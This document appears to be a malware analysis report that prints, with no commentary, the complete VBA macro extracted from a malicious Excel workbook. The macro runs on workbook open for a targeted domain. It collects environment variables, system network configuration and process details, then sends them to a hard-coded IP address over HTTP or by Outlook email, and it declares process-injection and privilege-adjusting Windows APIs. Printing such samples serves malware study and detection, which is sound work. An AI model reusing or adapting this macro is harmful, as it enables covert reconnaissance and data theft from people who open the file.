Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'2019/05/16

Option Explicit

Const EXFILTRATE_DEBUG = 1
Const EXFILTRATE_HTTP = 2
Const EXFILTRATE_EMAIL = 3

Private Const TH32CS_SNAPHEAPLIST = &H1
Private Const TH32CS_SNAPPROCESS = &H2
Private Const TH32CS_SNAPTHREAD = &H4
Private Const TH32CS_SNAPMODULE = &H8
Private Const TH32CS_INHERIT = &H80000000
Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1&
Private Const PROCESS_TERMINATE = &H1
Private Const PROCESS_CREATE_THREAD = &H2
Private Const PROCESS_QUERY_INFORMATION = &H400
Private Const PROCESS_VM_READ = &H10
Private Const PROCESS_VM_WRITE = &H20
Private Const PROCESS_VM_OPERATION = &H8
Private Const PROCESS_ALL_ACCESS = &H1FFFFF
Private Const THREAD_SUSPEND_RESUME = &H2
Private Const TOKEN_QUERY = &H8
Private Const TokenUser = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Const MEM_COMMIT = &H1000
Private Const PAGE_EXECUTE_READWRITE = &H40
Private Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Private Const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = &H20000

#If Win64 Then
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32DefaultHeapIDB As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    pcPriClassBaseB As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type
#Else
Private Type PROCESSENTRY32
    dwSize As Long
    cntUsage As Long
    th32ProcessID As Long
    th32DefaultHeapID As Long
    th32ModuleID As Long
    cntThreads As Long
    th32ParentProcessID As Long
    pcPriClassBase As Long
    dwFlags As Long
    szExeFile As String * MAX_PATH
End Type
#End If

Private Type THREADENTRY32
    dwSize As Long
    cntUsage As Long
    th32ThreadID As Long
    rh32OwnerProcessID As Long
    tpBasePri As Long
    tpDeltaPri As Long
    dwFlags As Long
End Type

Private Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type

Private Type SYSTEMTIME
    wYear As Integer
    wMonth As Integer
    wDayOfWeek As Integer
    wDay As Integer
    wHour As Integer
    wMinute As Integer
    wSecond As Integer
    wMilliseconds As Integer
End Type

#If Win64 Then
Private Type SYSTEM_INFO
    wProcessorArchitecture As Integer
    wReserved As Integer
    lpMinimumApplicationAddress As LongPtr
    lpMaximumApplicationAddress As LongPtr
    dwActiveProcessorMask As Long
    dwNumberOfProcessors As Long
    dwProcessorType As Long
    dwAllocationGranularity As Long
    wProcessorLevel As Long
    wProcessorRevision As Long
End Type
#Else
Private Type SYSTEM_INFO
    wProcessorArchitecture As Integer
    wReserved As Integer
    lpMinimumApplicationAddress As Long
    lpMaximumApplicationAddress As Long
    dwActiveProcessorMask As Long
    dwNumberOfProcessors As Long
    dwProcessorType As Long
    dwAllocationGranularity As Long
    wProcessorLevel As Long
    wProcessorRevision As Long
End Type
#End If

Private Type LUID
    lowpart As Long
    highpart As Long
End Type

Private Type TOKEN_PRIVILEGES
    PrivilegeCount As Long
    LuidUDT As LUID
    Attributes As Long
End Type

Private Type PROCESS_MEMORY_COUNTERS
    cb As Long
    PageFaultCount As Long
#If Win64 Then
    PeakWorkingSetSize As LongLong
    WorkingSetSize As LongLong
    QuotaPeakPagedPoolUsage As LongLong
    QuotaPagedPoolUsage As LongLong
    QuotaPeakNonPagedPoolUsage As LongLong
    QuotaNonPagedPoolUsage As LongLong
    PagefileUsage As LongLong
    PeakPagefileUsage As LongLong
    PrivateUsage As LongLong
#Else
    PeakWorkingSetSize As Long
    WorkingSetSize As Long
    QuotaPeakPagedPoolUsage As Long
    QuotaPagedPoolUsage As Long
    QuotaPeakNonPagedPoolUsage As Long
    QuotaNonPagedPoolUsage As Long
    PagefileUsage As Long
    PeakPagefileUsage As Long
    PrivateUsage As Long
#End If
End Type

Private Type PROCESS_INFORMATION
#If Win64 Then
    hProcess As LongLong
    hThread As LongLong
#Else
    hProcess As Long
    hThread As Long
#End If
    dwProcessId As Long
    dwThreadId As Long
End Type

Private Type STARTUPINFO
    cb As Long
#If Win64 Then
    lpReserved As LongLong
    lpDesktop As LongLong
    lpTitle As LongLong
#Else
    lpReserved As Long
    lpDesktop As Long
    lpTitle As Long
#End If
    dwX As Long
    dwY As Long
    dwXSize As Long
    dwYSize As Long
    dwXCountChars As Long
    dwYCountChars As Long
    dwFillAttribute As Long
    dwFlags As Long
    wShowWindow As Integer
    cbReserved2 As Integer
    lpReserved2 As Long
#If Win64 Then
    hStdInput As LongLong
    hStdOutput As LongLong
    hStdError As LongLong
#Else
    hStdInput As Long
    hStdOutput As Long
    hStdError As Long
#End If
End Type

Private Type STARTUPINFOEX
    STARTUPINFO As STARTUPINFO
    lpAttributeList As Long
End Type

#If Win64 Then
    Private Declare PtrSafe Function CreateToolhelp32Snapshot Lib "KERNEL32" (ByVal lFlags As LongLong, ByVal lProcessID As LongLong) As LongPtr
    Private Declare PtrSafe Function CloseHandle Lib "KERNEL32" (ByVal hPass As LongPtr) As Integer
    Private Declare PtrSafe Function Process32First Lib "KERNEL32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
    Private Declare PtrSafe Function Process32Next Lib "KERNEL32" (ByVal hSnapshot As LongPtr, sPE32 As PROCESSENTRY32) As Long
    Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Boolean, ByVal dwProcId As Long) As LongPtr
    Private Declare PtrSafe Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal uExitCode As Long) As Long
    Private Declare PtrSafe Function Thread32First Lib "KERNEL32" (ByVal hSnapshot As LongPtr, uProcess As THREADENTRY32) As Long
    Private Declare PtrSafe Function Thread32Next Lib "KERNEL32" (ByVal hSnapshot As LongPtr, uProcess As THREADENTRY32) As Long
    Private Declare PtrSafe Function OpenThread Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Boolean, ByVal dwThreadId As Long) As LongPtr
    Private Declare PtrSafe Function SuspendThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Integer
    Private Declare PtrSafe Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Integer
    Private Declare PtrSafe Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As LongPtr, ByVal DesiredAccess As Long, ByRef TokenHandle As LongPtr) As Long
    Private Declare PtrSafe Function GetTokenInformation Lib "advapi32.dll" (ByVal TokenHandle As LongPtr, ByVal TokenInformationClass As Long, TokenInformation As Any, ByVal TokenInformationLength As Long, ByRef ReturnLength As Long) As Long
    Private Declare PtrSafe Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByRef pTo As Any, ByRef uFrom As Any, ByVal lSize As LongLong)
    Private Declare PtrSafe Function LookupAccountSid Lib "advapi32.dll" Alias "LookupAccountSidA" (ByVal lpSystemName As String, ByVal Sid As Long, ByVal name As String, cbName As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long
    Private Declare PtrSafe Function GetProcessTimes Lib "KERNEL32" (ByVal hProcess As LongPtr, lpCreationTime As FILETIME, lpExitTime As FILETIME, lpKernelTime As FILETIME, lpUserTime As FILETIME) As Long
    Private Declare PtrSafe Function FileTimeToLocalFileTime Lib "KERNEL32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
    Private Declare PtrSafe Function FileTimeToSystemTime Lib "KERNEL32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
    Private Declare PtrSafe Function IsWow64Process Lib "KERNEL32" (ByVal hProcess As LongPtr, ByRef Wow64Process As Long) As Long
    Private Declare PtrSafe Sub GetNativeSystemInfo Lib "KERNEL32" (ByRef lpSystemInfo As SYSTEM_INFO)
    Private Declare PtrSafe Function GetProcessImageFileName Lib "psapi" Alias "GetProcessImageFileNameA" (ByVal hProcess As LongPtr, ByVal lpFilename As String, ByVal nSize As LongLong) As Long
    Private Declare PtrSafe Function K32GetProcessImageFileName Lib "KERNEL32" Alias "K32GetProcessImageFileNameA" (ByVal hProcess As LongPtr, ByVal lpFilename As String, ByVal nSize As LongLong) As Long
    Private Declare PtrSafe Function QueryDosDevice Lib "KERNEL32" Alias "QueryDosDeviceA" (ByVal lpDeviceName As String, ByVal lpTargetPath As String, ByVal ucchMax As Long) As Long
    Private Declare PtrSafe Function GetCurrentProcess Lib "KERNEL32" () As LongPtr
    Private Declare PtrSafe Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
    Private Declare PtrSafe Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As LongPtr, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As Any, ReturnLength As Any) As Long
    Private Declare PtrSafe Function GetProcessMemoryInfo Lib "psapi" (ByVal hProcess As LongPtr, ppsmemCounters As PROCESS_MEMORY_COUNTERS, ByVal cb As Long) As Long
    Private Declare PtrSafe Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpAddress As Long, ByVal dwSize As LongLong, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As Any, ByVal nSize As LongLong, lpNumberOfBytesWritten As LongPtr) As Long
    Private Declare PtrSafe Function CreateRemoteThread Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpThreadAttributes As LongPtr, ByVal dwStackSize As LongPtr, ByVal lpStartAddress As LongPtr, ByVal lpParameter As Any, ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
    Private Declare PtrSafe Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As LongLong, ByVal lpThreadAttributes As LongLong, ByVal bInheritHandles As Integer, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongLong, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Integer
    Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "KERNEL32" (ByVal lpAttributeList As LongLong, ByVal dwAttributeCount As Long, ByVal dwFlags As Long, ByRef lpSize As Long) As Integer
    Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "KERNEL32" (ByVal lpAttributeList As LongLong, ByVal dwFlags As Long, ByVal attribut As Long, ByVal lpValue As LongLong, ByVal cbSize As Long, lpPreviousValue As LongLong, lpReturnSize As LongLong) As Integer
#Else
    Private Declare Function CreateToolhelp32Snapshot Lib "KERNEL32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
    Private Declare Function CloseHandle Lib "KERNEL32" (ByVal hPass As Long) As Integer
    Private Declare Function Process32First Lib "KERNEL32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
    Private Declare Function Process32Next Lib "KERNEL32" (ByVal hSnapshot As Long, sPE32 As PROCESSENTRY32) As Long
    Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Boolean, ByVal dwProcId As Long) As Long
    Private Declare Function TerminateProcess Lib "KERNEL32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
    Private Declare Function Thread32First Lib "KERNEL32" (ByVal hSnapshot As Long, uProcess As THREADENTRY32) As Long
    Private Declare Function Thread32Next Lib "KERNEL32" (ByVal hSnapshot As Long, uProcess As THREADENTRY32) As Long
    Private Declare Function OpenThread Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Boolean, ByVal dwThreadId As Long) As Long
    Private Declare Function SuspendThread Lib "kernel32.dll" (ByVal hThread As Long) As Integer
    Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As Long) As Integer
    Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, ByRef TokenHandle As Long) As Long
    Private Declare Function GetTokenInformation Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal TokenInformationClass As Long, TokenInformation As Any, ByVal TokenInformationLength As Long, ByRef ReturnLength As Long) As Long
    Private Declare Sub CopyMemory Lib "KERNEL32" Alias "RtlMoveMemory" (ByRef pTo As Any, ByRef uFrom As Any, ByVal lSize As Long)
    Private Declare Function LookupAccountSid Lib "advapi32.dll" Alias "LookupAccountSidA" (ByVal lpSystemName As String, ByVal Sid As Long, ByVal name As String, cbName As Long, ByVal ReferencedDomainName As String, cbReferencedDomainName As Long, peUse As Long) As Long
    Private Declare Function GetProcessTimes Lib "KERNEL32" (ByVal hProcess As Long, lpCreationTime As FILETIME, lpExitTime As FILETIME, lpKernelTime As FILETIME, lpUserTime As FILETIME) As Long
    Private Declare Function FileTimeToLocalFileTime Lib "KERNEL32" (lpFileTime As FILETIME, lpLocalFileTime As FILETIME) As Long
    Private Declare Function FileTimeToSystemTime Lib "KERNEL32" (lpFileTime As FILETIME, lpSystemTime As SYSTEMTIME) As Long
    Private Declare Function IsWow64Process Lib "KERNEL32" (ByVal hProcess As Long, ByRef Wow64Process As Long) As Long
    Private Declare Sub GetNativeSystemInfo Lib "KERNEL32" (ByRef lpSystemInfo As SYSTEM_INFO)
    Private Declare Function GetProcessImageFileName Lib "psapi" Alias "GetProcessImageFileNameA" (ByVal hProcess As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
    Private Declare Function K32GetProcessImageFileName Lib "KERNEL32" Alias "K32GetProcessImageFileNameA" (ByVal hProcess As Long, ByVal lpFilename As String, ByVal nSize As Long) As Long
    Private Declare Function QueryDosDevice Lib "KERNEL32" Alias "QueryDosDeviceA" (ByVal lpDeviceName As String, ByVal lpTargetPath As String, ByVal ucchMax As Long) As Long
    Private Declare Function GetCurrentProcess Lib "KERNEL32" () As Long
    Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLuid As LUID) As Long
    Private Declare Function AdjustTokenPrivileges Lib "advapi32" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As Any, ReturnLength As Any) As Long
    Private Declare Function GetProcessMemoryInfo Lib "psapi" (ByVal hProcess As Long, ByRef ppsmemCounters As PROCESS_MEMORY_COUNTERS, ByVal cb As Long) As Long
    Private Declare Function VirtualAllocEx Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
    Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal lpBuffer As String, ByVal dwSize As Long, ByRef lpNumberOfBytesWritten As Long) As Integer
    Private Declare Function CreateRemoteThread Lib "KERNEL32" (ByVal hProcess As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, ByVal lpParameter As Long, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As Long
    Private Declare Function CreateProcess Lib "KERNEL32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Integer, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Integer
    Private Declare Function InitializeProcThreadAttributeList Lib "KERNEL32" (ByVal lpAttributeList As Long, ByVal dwAttributeCount As Long, ByVal dwFlags As Long, ByRef lpSize As Long) As Integer
    Private Declare Function UpdateProcThreadAttribute Lib "KERNEL32" (ByVal lpAttributeList As Long, ByVal dwFlags As Long, ByVal attribut As Long, ByVal lpValue As Long, ByVal cbSize As Long, ByVal lpPreviousValue As Long, ByVal lpReturnSize As Long) As Integer
#End If

Private dicDevices As Dictionary

Private Function StartsWith(ByVal strValue As String, ByVal strStartingValue As String) As Boolean
    StartsWith = Left(strValue, Len(strStartingValue)) = strStartingValue
End Function

Private Function EndsWith(ByVal strValue As String, ByVal strEndingValue As String) As Boolean
    EndsWith = Right(strValue, Len(strEndingValue)) = strEndingValue
End Function

Private Sub AdjustTokenForDebug()
#If Win64 Then
    Dim hToken As LongPtr
#Else
    Dim hToken As Long
#End If
    Dim sTP As TOKEN_PRIVILEGES

    If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken) <> 0 Then
        If LookupPrivilegeValue("", "SeDebugPrivilege", sTP.LuidUDT) <> 0 Then
            sTP.PrivilegeCount = 1
            sTP.Attributes = SE_PRIVILEGE_ENABLED
            If AdjustTokenPrivileges(hToken, False, sTP, 0, ByVal 0&, ByVal 0&) <> 0 Then
            End If
        End If
        CloseHandle hToken
    End If
    
End Sub

Private Function GetDevices() As Dictionary
    Dim intIter As Integer
    Dim strBuffer As String
    Dim lLength As Long
    Dim dicDevices As Dictionary
    Dim strDevice As String

    Set dicDevices = New Dictionary
    Set GetDevices = dicDevices
    For intIter = Asc("A") To Asc("Z")
        strBuffer = Space(MAX_PATH)
        lLength = QueryDosDevice(Chr(intIter) & ":", strBuffer, Len(strBuffer))
        If lLength > 0 Then
            strDevice = Left(strBuffer, InStr(strBuffer, vbNullChar) - 1)
            If Not dicDevices.Exists(strDevice) Then
                dicDevices.Add strDevice, Chr(intIter) & ":"
            End If
        End If
    Next
End Function

Private Function GetProcessOwner(ByVal lProcessID As Long) As String
#If Win64 Then
    Dim hProcess As LongPtr
    Dim hToken As LongPtr
#Else
    Dim hProcess As Long
    Dim hToken As Long
#End If
    Dim lAccountName As Long
    Dim lDomainName As Long
    Dim peUse As Long
    Dim lNeeded As Long
    Dim abBuffer() As Byte
    Dim lpSid As Long
    Dim lpString As Long
    Dim strAccountName As String
    Dim strDomainName As String
   
    GetProcessOwner = ""
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, lProcessID)
    If hProcess <> 0 Then
        If OpenProcessToken(hProcess, TOKEN_QUERY, hToken) <> 0 Then
            GetTokenInformation hToken, TokenUser, 0, 0, lNeeded
            ReDim abBuffer(0 To CLng(lNeeded))
            If GetTokenInformation(hToken, TokenUser, abBuffer(0), UBound(abBuffer), lNeeded) = 1 Then
                CopyMemory lpSid, abBuffer(0), 4
                strAccountName = Space(MAX_PATH)
                strDomainName = Space(MAX_PATH)
                lAccountName = MAX_PATH
                lDomainName = MAX_PATH
                If LookupAccountSid(vbNullString, lpSid, strAccountName, lAccountName, strDomainName, lDomainName, peUse) <> 0 Then
                    If strDomainName = "" Then
                        GetProcessOwner = Left(strAccountName, CLng(lAccountName))
                    Else
                        GetProcessOwner = Left(strDomainName, CLng(lDomainName)) & "\" & Left(strAccountName, CLng(lAccountName))
                    End If
                End If
            End If
            Call CloseHandle(hToken)
        End If
        CloseHandle hProcess
    End If
End Function

Private Function GetTimes(ByVal lProcessID As Long) As String
#If Win64 Then
    Dim hProcess As LongPtr
#Else
    Dim hProcess As Long
#End If
    Dim sFTCreation As FILETIME
    Dim sFTDummy As FILETIME
    Dim sFTCreationLocal As FILETIME
    Dim sSTCreation As SYSTEMTIME

    GetTimes = ""
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, lProcessID)
    If hProcess <> 0 Then
        If GetProcessTimes(hProcess, sFTCreation, sFTDummy, sFTDummy, sFTDummy) <> 0 Then
            If FileTimeToLocalFileTime(sFTCreation, sFTCreationLocal) <> 0 Then
                If FileTimeToSystemTime(sFTCreationLocal, sSTCreation) <> 0 Then
                    GetTimes = CStr(sSTCreation.wYear) + "/" + CStr(sSTCreation.wMonth) + "/" + CStr(sSTCreation.wDay) + " " + CStr(sSTCreation.wHour) + ":" + CStr(sSTCreation.wMinute) + ":" + CStr(sSTCreation.wSecond)
                End If
            End If
        End If
        CloseHandle hProcess
    End If
End Function

Private Function GetType(ByVal lProcessID As Long) As String
#If Win64 Then
    Dim hProcess As LongPtr
#Else
    Dim hProcess As Long
#End If
    Dim lWoW64 As Long
    Dim sSI As SYSTEM_INFO

    GetType = ""
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, 0, lProcessID)
    If hProcess <> 0 Then
        If IsWow64Process(hProcess, lWoW64) Then
            GetNativeSystemInfo sSI
            GetType = IIf(sSI.wProcessorArchitecture > 0 And lWoW64 = 0, "64", "32")
        End If
        CloseHandle hProcess
    End If
End Function

Private Function Device2DriveFilename(ByVal strFilename As String) As String
    Dim varKeyDevice As Variant
    
    Device2DriveFilename = strFilename
    For Each varKeyDevice In dicDevices.Keys
        If StartsWith(strFilename, varKeyDevice) Then
            Device2DriveFilename = dicDevices(varKeyDevice) & Mid(strFilename, Len(varKeyDevice) + 1)
        End If
    Next
End Function

Private Function GetProcessFilename(ByVal lProcessID As Long)
#If Win64 Then
    Dim hProcess As LongPtr
#Else
    Dim hProcess As Long
#End If
    Dim lLength As Long
    Dim strBuffer As String
    
    GetProcessFilename = ""
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, lProcessID)
    If hProcess <> 0 Then
        strBuffer = Space(MAX_PATH)
        Err.Clear
        On Error Resume Next
        lLength = GetProcessImageFileName(hProcess, strBuffer, Len(strBuffer))
        If Err.Number = 453 Then
            lLength = K32GetProcessImageFileName(hProcess, strBuffer, Len(strBuffer))
        End If
        On Error GoTo 0
        GetProcessFilename = Device2DriveFilename(Left(strBuffer, CLng(lLength)))
        CloseHandle hProcess
    End If
End Function

Private Function GetPrivateUsage(ByVal lProcessID As Long) As String
#If Win64 Then
    Dim hProcess As LongPtr
#Else
    Dim hProcess As Long
#End If
    Dim PMC As PROCESS_MEMORY_COUNTERS
    
    GetPrivateUsage = ""
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION Or PROCESS_VM_READ, 0, lProcessID)
    If hProcess <> 0 Then
        PMC.cb = LenB(PMC)
        If GetProcessMemoryInfo(hProcess, PMC, PMC.cb) <> 0 Then
            GetPrivateUsage = CStr(PMC.PrivateUsage / 1024)
        End If
        CloseHandle hProcess
    End If
End Function

Private Function ProcessListToString() As String
#If Win64 Then
    Dim hSnapshot As LongPtr
#Else
    Dim hSnapshot As Long
#End If
    Dim lRet As Long
    Dim sPE32 As PROCESSENTRY32
    Dim strProcess As String
    Dim iIter As Integer
    Dim iColumn As Integer
    Dim iPositionNull As Integer
    Dim strResult As String
    
    strResult = ""
    
    AdjustTokenForDebug
    
    
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&)
    
    If hSnapshot <> INVALID_HANDLE_VALUE Then
        sPE32.dwSize = Len(sPE32)
        lRet = Process32First(hSnapshot, sPE32)
    
        Do While lRet
            iPositionNull = InStr(1, sPE32.szExeFile, Chr(0))
            If iPositionNull > 0 Then
                strProcess = Left(sPE32.szExeFile, iPositionNull - 1)
            Else
                strProcess = ""
            End If
            strResult = strResult + strProcess
            strResult = strResult + ";" + CStr(sPE32.th32ProcessID)
            strResult = strResult + ";" + GetProcessFilename(sPE32.th32ProcessID)
            strResult = strResult + ";" + GetProcessOwner(sPE32.th32ProcessID)
            strResult = strResult + ";" + GetTimes(sPE32.th32ProcessID)
            strResult = strResult + ";" + GetType(sPE32.th32ProcessID)
            strResult = strResult + ";" + GetPrivateUsage(sPE32.th32ProcessID)
            strResult = strResult + vbCrLf
    
            lRet = Process32Next(hSnapshot, sPE32)
        Loop
    
        CloseHandle hSnapshot
    End If
    
    ProcessListToString = strResult
End Function

Sub UploadData(ByVal strURL As String, ByVal strData As String)
    Dim oXMLHTTP As Object
    Dim abPayload() As Byte
    Dim iIter As Integer
    
    If strURL <> "" Then
        Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
        oXMLHTTP.Open "POST", strURL, True
        oXMLHTTP.Send strData
         
        Do While oXMLHTTP.readyState <> 4
            DoEvents
        Loop
           
        Set oXMLHTTP = Nothing
    End If
End Sub

Function EnvironmentVariablesToString() As String
    Dim strEnviron As String
    Dim strResult As String
    Dim iIter As Integer
    
    iIter = 1
    strResult = ""
    Do While True
        strEnviron = Environ(iIter)
        If Len(strEnviron) = 0 Then
            Exit Do
        End If
        strResult = strResult + strEnviron + vbCrLf
        iIter = iIter + 1
    Loop
    
    EnvironmentVariablesToString = strResult
End Function

Function CombineParts(ParamArray avPart() As Variant) As String
    Dim strResult As String
    Dim strPartSeparator As String
    Dim iIter As Integer
    
    strPartSeparator = "---------- PART SEPARATOR" + " - " + CStr(Now) + " " + "----------"
    strResult = strPartSeparator + vbCrLf
    For iIter = LBound(avPart) To UBound(avPart)
        strResult = strResult + avPart(iIter)
        If Not EndsWith(avPart(iIter), vbCrLf) Then
            strResult = strResult + vbCrLf
        End If
        strResult = strResult + strPartSeparator + vbCrLf
    Next
    CombineParts = strResult
End Function

Function RunAndCaptureStdout(strCommand As String) As String
    Dim oExec As Object
    
    Set oExec = CreateObject("WScript.Shell").Exec(strCommand)
    RunAndCaptureStdout = oExec.StdOut.ReadAll
End Function

Sub SendEmailViaOutlook(strAddress As String, strSubject As String, strBody As String)
    Dim oOutlook As Object
    Dim oMail As Object

    On Error GoTo Terminate
    
    Set oOutlook = CreateObject("Outlook.Application")
    Set oMail = oOutlook.CreateItem(0)
    
    oMail.To = strAddress
    oMail.Subject = strSubject
    oMail.Body = strBody
    oMail.Send
    
Terminate:
    Set oMail = Nothing
    Set oOutlook = Nothing
End Sub

Sub Exfiltrate(iExfiltrationType As Integer, strDestination As String)
    Dim strProcessList As String
    Dim strEnvironmentVariables As String
    Dim strIpconfig As String
    Dim strDataToExfiltrate As String
    
    On Error Resume Next
    Set dicDevices = GetDevices()
    
    ' Initialize string variables to know, if an error occurs, in which part the error occured
    strProcessList = "Init ProcessList"
    strEnvironmentVariables = "Init EnvironmentVariables"
    strIpconfig = "Init Ipconfig"
    
    strProcessList = "" 'ProcessListToString
    strEnvironmentVariables = EnvironmentVariablesToString
    strIpconfig = RunAndCaptureStdout("ipconfig /all")
    
    strDataToExfiltrate = CombineParts(strEnvironmentVariables, strProcessList, strIpconfig)
    
    Select Case iExfiltrationType
        Case EXFILTRATE_HTTP
            UploadData strDestination, "Data successfully retrieved !"
        Case EXFILTRATE_EMAIL
            SendEmailViaOutlook strDestination, "Exfiltration", strDataToExfiltrate
        Case EXFILTRATE_DEBUG, Default
            Debug.Print strDataToExfiltrate
    End Select
End Sub


Sub Workbook_Open()
    If InStr(LCase(Environ("userdomain")), "shinka") Then
        'Exfiltrate EXFILTRATE_DEBUG, ""
        Exfiltrate EXFILTRATE_HTTP, "http://34.245.101.42:80"
    End If
End Sub



Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True